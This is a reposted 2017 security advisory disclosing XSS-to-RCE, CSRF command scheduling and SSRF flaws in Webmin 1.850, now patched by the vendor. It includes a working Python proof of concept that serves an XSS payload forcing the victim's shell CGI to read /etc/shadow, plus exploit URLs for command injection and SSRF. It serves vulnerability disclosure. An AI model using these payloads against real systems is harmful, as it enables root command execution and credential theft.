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Webmin 1.850 SSRF / CSRF / Cross Site Scripting / Command Execution

Posted on 17 October 2017

[+] SSD Beyond Security: https://blogs.securiteam.com/index.php/archives/3430 [+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/WEBMIN-v1.850-REMOTE-COMMAND-EXECUTION.txt [+] ISR: ApparitionSec Vulnerability summary The following advisory describes three (3) vulnerabilities found in Webmin version 1.850 Webmin is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS, file sharing and much more. Webmin removes the need to manually edit Unix configuration files like /etc/passwd, and lets you manage a system from the console or remotely. See the standard modules page for a list of all the functions built into Webmin. The vulnerabilities found are: XSS vulnerability that leads to Remote Code Execution CSRF Schedule arbitrary commands Server Side Request Forgery Credit An independent security researcher, hyp3rlinx, has reported this vulnerability to Beyond Securitys SecuriTeam Secure Disclosure program Vendor response The vendor has released patches to address these vulnerabilities. For more information: https://github.com/webmin/webmin/commit/0c58892732ee7610a7abba5507614366d382c9c9 and http://www.webmin.com/security.html Vulnerability details XSS vulnerability that leads to Remote Code Execution Under Webmin menu Others/File Manager there is option to download a file from a remote server Download from remote URL. By setting up a malicious server we can wait for file download request then send a XSS payload that will lead to Remote Code Execution. Webmin echo back the File Download request status which we can trigger the XSS vulnerability and bypass this Referrer check by setting the domain=webmin-victim-ip. Proof of Concept import socket #=================================================== #Run this script and listen for file download from webmin #Enter payload to execute RCE #wait for webmin to connect and download file #Vulnerability is in Menu/Others/File Manager #issue is webmin echoes back status of the download #by injecting XSS we bypass the Referer: check by assign #domain to victims own IP, then execute our RCE #----------------------------------------------------------- #e.g. #Download from remote URL #http://x.x.x.x:10000/shell/index.cgi #> whoami #root PORT=int(raw_input("[PORT]> ")) #port we listen on for file download requests WEBMIN_IP=raw_input("[Webmin IP]> ") #victim #Read /etc/shadow file CMD=("/><script>document.domain='http://"+WEBMIN_IP+":10000/shell/index.cgi'</script>"+ "<form action='https://"+WEBMIN_IP+":10000/shell/index.cgi' method='POST' enctype='multipart/form-data'>"+ "<input type='hidden' name='cmd' value='cat /etc/shadow'><script>document.forms[0].submit()</script></form>") s = socket.socket() HOST = '' s.bind((HOST, PORT)) s.listen(5) print ' webmin file download 0day...' while True: conn, addr = s.accept() conn.send(CMD+' ') print 'Connected!' print s.recv(1024) conn.close() s.close() CSRF Schedule arbitrary commands User controlled input is not sufficiently sanitized, by sending GET request to create_job.cgi with the following parameter dir=/&cmd=ls an attacker to execute arbitrary commands. Proof of Concept http://x.x.x.x:10000/at/create_job.cgi?user=root&day=31&month=7&year=2017&hour=2&min=00&dir=/&cmd=ls -lt&mail=0 Server Side Request Forgery User controlled input is not sufficiently sanitized, by sending GET request to tunnel/link.cgi/http://VICTIM-IP:8000 an attacker can trigger the vulnerability Proof of Concept http://x.x.x.x:10000/tunnel/link.cgi/http://VICTIM-IP:8000 Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ==================== Would like to acknowledge Beyond Securitys SSD program for the help with co-ordination of this vulnerability. More details can be found on their blog at: https://blogs.securiteam.com/index.php/archives/3430 [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx

 

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